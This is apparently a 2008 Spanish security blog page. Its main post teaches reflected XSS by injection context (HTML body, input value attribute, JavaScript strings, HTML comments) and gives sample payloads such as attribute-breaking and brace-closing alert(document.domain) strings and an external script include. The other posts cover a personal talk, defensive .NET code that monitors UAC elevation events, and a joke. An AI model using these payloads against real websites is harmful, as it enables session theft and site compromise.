Equilibrio Inestable

2008/09/29

Insertando Javascript en paginas web (a.k.a. XSS)

Filed under: Seguridad Informatica, Trucos, XSS — Pedro Laguna @ 9:39 PM

Si, de nuevo a hablar de XSS… ¿que remedio no? Hoy os quiero intentar hablar de distintos trucos o recursos a la hora de introducir codigo XSS no permanente dentro de una pagina web que este copiando los parametros dentro de su codigo HTML.

Para organizarnos un poco y que os perdais menos voy a intentar separar por categorias los tipos de XSS reflejados que nos podemos encontrar:

  • El codigo se copia entre dos etiquetas HTML
    El caso mas basico, simplemente debemos de comprobar si se nos permite introducir etiquetas HTML sin que algun posible IDS nos las detecte y elimine. Si no podemos introducir comillas simples o dobles pero si etiquetas <script> siempre podemos llamar al parametro src sin comillas y referenciar un fichero externo donde podremos introducir todos los caracteres que queramos.
      • <script src=http://www.url.com/fichero.js></script>
  • El codigo se copia dentro de un parametro value de un <input type=”text”>
    El ejemplo clasico del campo de busqueda donde cuando buscamos la cadena tipica asdf nos aparece dentro de la caja de texto y en el codigo HTML tenemos algo del tipo: <input type=”text” name=”busqueda” value=”asdf” />.
    En este caso debemos de fijarnos primero en que caracter se usa para cerrar la etiqueta value; pueden darse tres casos: comilla simple, comilla doble o nada (esta nunca la he visto, pero seria posible). En cualquiera de los dos primeros casos lo que tendremos que hacer es comprobar si estan escapando de alguna manera estos caracteres. Esto lo haremos introduciendo asdf”‘.
    Un nuevo vistazo al codigo fuente nos dara una idea de lo que esta pasando. Nos podemos encontrar (de nuevo) con tres casos distintos:
    • Nuestras comillas apareceren como caracteres HTML, &quot; o ‘
    • Nuestras comillas aparecen escapadas: \” o \’
    • Nuestras comillas aparecen en todo su esplendor y gloria como nosotros las habiamos puesto.

    En el primero de los casos podemos olvidarnos de intentar introducir algo de XSS en la pagina, pero en los otros dos supuestos podremos intentar cerrar la etiqueta HTML con un >.
    Dependiendo de si nuestra etiqueta cerrada cumple su cometido o no podremos empezar a posteriori a introducir nuestro codigo Javascript. No olvideis abrir una etiqueta HTML para que sean cerradas por el codigo que queda tras nuestro Javascript, asi el codigo generado sera perfecto.

      • “><script>alert(document.domain);</script><div class=”

  • El codigo se copia dentro de codigo Javascript
    Este es el caso mas divertido (y el que me ha llevado a escribir este post). Cuando nuestro codigo se introduce dentro de un codigo Javascript debemos de generar codigo completamente valido para que el navegador pueda interpretarlo y ejecutarlo (al contrario del caso anterior donde una etiqueta HTML mal cerrada no impide que nuestro codigo se ejecute).
    Toca realizar un analisis sobre la parte en la que nuestro codigo ha ido a caer y encontrar la manera de que se ejecute. Como norma general nuestro payload estara ubicado dentro de una variable de tipo string, por lo que deberemos de cerrar las comillas (simples o dobles) y añadir el ; de final de linea. Para lograr todo esto aqui van algunos consejos:

    • Usa los comentarios de una sola linea (//) para eliminar todo aquello que no nos sirva tras nuestro codigo Javascript.

    • A veces la manera mas facil de asegurarnos que nuestro codigo se ejecuta es cerrando la etiqueta <script> existente y creandonos una propia.

    • Si nuestro codigo “cae” dentro de una funcion o de un bucle deberemos de cerrar los corchetes abiertos por estos para colocar nuestro codigo dentro del flujo general de la ejecucion del codigo. No olvideis que luego debemos de crear bucles o funciones vacios para que los corchetes que evitamos no nos molesten.

    • A veces (y esto tambien se aplica al codigo HTML) encontramos dos o mas variables que permiten la inclusion de XSS pero que, por alguna razon, estan limitados en el numero de caracteres. En este caso hemos de comprobar cual es el orden en el que aparecen en el codigo fuente y usar los caracteres de comentarios multilinea para hacer que nuestro codigo sea uno solo juntando las variables disponibles.

    Con todo esto en mente y teniendo en cuenta que el codigo ha de ser valido (la extension Firebug de Firefox puede ayudarnos mucho) se puede empezar a jugar contra el programador de la aplicacion.

      • “;}}alert(document.domain);if(0){if(0){//
  • Dentro de comentarios HTML
    Aunque he de reconocer que me ha ocurrido pocas veces, es posible que nuestros parametros aparezcan dentro de unas etiquetas de comentarios, como si fuesen mensajes de debug olvidados.
    En este caso nada mas facil que cerrar la etiqueta de comentario HTML, meter nuestro codigo y volver a abrir la etiqueta de comentario:
      • –><script>alert(document.domain);</script><!–

Evidentemente pueden ocurrir multitud mas de situaciones, aunque creo que la mayoria vienen reflejadas aqui o son subcasos de lo aqui comentado. Tambien es cierto que aqui apenas se han comentado metodos para insertar XSS en los casos donde la cosa este ajustada (filtros potentes, limitaciones reales de tamaño, etc.) pero eso puede dar para otra entrada…

ego++;

Filed under: Personal — Pedro Laguna @ 2:12 PM

Hola, en esta entrada no voy a hablar de nada de seguridad ni nada de cosas de “manazas”. Hoy os voy a hablar de algo que, aunque debi de verlo hace tiempo, vi recientemente y me llena de orgullo personal.

Hara cosa de un mes estuve por Barcelona dando una charla en la LANcelona 2008 sobre seguridad web que titule “Cagadas en la red” donde comentaba, de manera introductoria, algunas tecnicas y algunos errores de bulto que suelen comenter los desarrolladores web y que nos permiten ganar privilegios en una aplicacion web. La verdad es que no tuvo un nivel excesivamente alto pero yo creo que fue absequible para todos los presentes y que nadie se fue sin aprender nada.

Pues bien, hoy mirando el dashboard este de WordPress me veo que tengo una serie de enlaces entrantes y entre ellos una referencia desde la pagina web de Albert Mata. En ella cuenta su experiencia personal sobre la LANcelona 2008 y comenta sobre la ponencia que di:

Acto seguido comenzó la ponencia de Hacking, a cargo de Pedro Laguna, experto en seguridad de Informática64. En mi opinión estuvo muy, muy bien. Mostró un gran dominio del tema, se basó en una presentación PowerPoint pero en esta ocasión no estaba vacía. Supo mantener el ritmo de la ponencia y hacerla amena e interesante. Realmente de lo mejorcito de las ponencias de Lancelona. Además, como detalle de lo cuidado de la exposición, al terminar nos pasó un formulario en donde pudimos valorar el ponente y la ponencia e incorporar nuestra dirección de e-mail si estábamos interesados en recibir el documento utilizado durante la presentación. Y debo decir que hoy mismo he recibido un correo desde el departamento de formación de Informática64 con dicho documento. Notable muy alto para ellos.

La verdad es que nunca me habian dicho nada tan bonito (mi madre no cuenta) y el hecho de que una persona opine de esta manera tan favorable mi trabajo hace que me plantee que puede llegar a resultar que haga bien las cosas. No se, seguire cuestionandomelo pero quizas un poco menos.

P.D. Esta entrada esta escrita desde Windows Live Writer, una herramienta de Microsoft para escribir de manera comoda en distintas plataformas de blogs. Corrector ortografico incluido ;-)

Capturar eventos de elevacion de privilegios en Windows Vista mediante .Net

Filed under: Personal, Seguridad Informatica, Trucos, Windows Vista — Pedro Laguna @ 11:58 AM

Muy buenas! Hoy os traigo un post de programacion en .Net para automatizar la auditoria de UACs que aceptamos en el equipo.

Para entender las ideas de este post primero deberiais de leeros la entrada que he escrito en el blog de vista-tecnica sobre como activar la auditoria de procesos y como detectar cuales requieren elevacion.

Dicho esto, y esperando que antes os hayais leido el post anteriormente referenciado, empezamos.

Desde .Net es posible acceder a los eventos que ha generado el sistema y capturarlos en tiempo real. Eso es lo que vamos a explicar y a ver con el evento 4688 de Windows Vista. Existe un objeto en System.Diagnostics llamado EventLog que nos permite acoplarnos a uno de los ficheros de eventos que se generan en el sistema. Nosotros en este caso queremos monitorizar eventos de seguridad. Para ello definiremos el objeto de la siguiente manera:


EventLog eventLog = new EventLog("Security");
eventLog.EnableRaisingEvents = true;
eventLog.EntryWritten += new EntryWrittenEventHandler(eventLog_EntryWritten);

Con esta tres lineas generamos el objeto EventoLog asociado a los eventos de seguridad, le permitimos capturar los eventos que se vayan produciendo y le asociamos una funcion donde trataremos los eventos que nos lleguen.

Una vez dentro del metodo EntryWrittenEventHandler filtraremos por eventos con ID 4688 y posteriormente trataremos el mensaje que nos devuelve el evento:


if (e.Entry.InstanceId == 4688)
{
    string msg = e.Entry.Message;

    msg = msg.Substring(309, msg.Length - 309);
    string[] msgList = msg.Split(',');

    for(int i = 0; i < msgList.Length; i++)
    msgList[i] = (msgList[i].Replace('\'', ' ')).Trim();
    /* List of elements in the Entry.Message array:
    * 0 - SID
    * 1 - User
    * 2 - Machine
    * 3 - ???
    * 4 - PID
    * 5 - Process name
    * 6 - Token Elevation Type (%%1936, %%1937, %%1938)
    * 7 - Parent PID
    */

    if(msgList[6] == "%%1937")
    {
        try
        {
            int pid = Convert.ToInt32(msgList[4], 16);
            Process p = Process.GetProcessById(pid);
            Console.WriteLine("El siguiente programa ha requerido elevacion:");
            if(p.MainWindowTitle.Length > 0)
            Console.WriteLine("Window Title: " + p.MainWindowTitle);
            Console.WriteLine("Path: " + msgList[5]);
            Console.WriteLine();

        }
        catch (ArgumentException ee)
        {
            Console.WriteLine(ee.Message);
        }
    }
}

El mensaje contiene el TokenElevationType que es lo que nos interesa. Cuando este vale 1937 quiere decir que el proceso ha requerido elevacion.

Esto funciona perfectamente con los procesos tales como ejecucion de programas o instalaciones, que contienen un titulo de la ventana mas o menos descriptivo, pero no ocurre asi con los procesos administrativos del sistema que requieren elevacion, tales como cambiar parametros de configuracion de red o agregar cuentas al equipo. En estos casos el proceso que se llama es dllhost.exe, que si lo analizamos con el Process Explorer recibe como parametro un GUID que referencia en el registro del sistema a una ventana. Existe asociado tambien la descripcion de la misma, que podria indicarnos que tarea administrativa ha requerido elevacion…

Pero como capturarlo y leer el registro correspondiente lo dejamos para otro post.

P.D. Venga, ahora criticarme por mi codigo y pedidme de nuevo que libere el Thumbando… ¿No habeis tenido suficiente sufrimiento con este codigo? :P

2008/09/14

Lo que diga la rubia…

Filed under: Firefox, Humor — Pedro Laguna @ 7:14 PM

Andaba yo con los dedos tontos, escribiendo una pregunta para ver lo que me decia la rubia cuando me he encontrado esto:

Estas son las cosas de no usar &ntilde;, &oacute; y &uacute; o unas bonitas cabeceras UTF-8…

Theme: Shocking Blue Green. Blog at WordPress.com.

Follow

Get every new post delivered to your Inbox.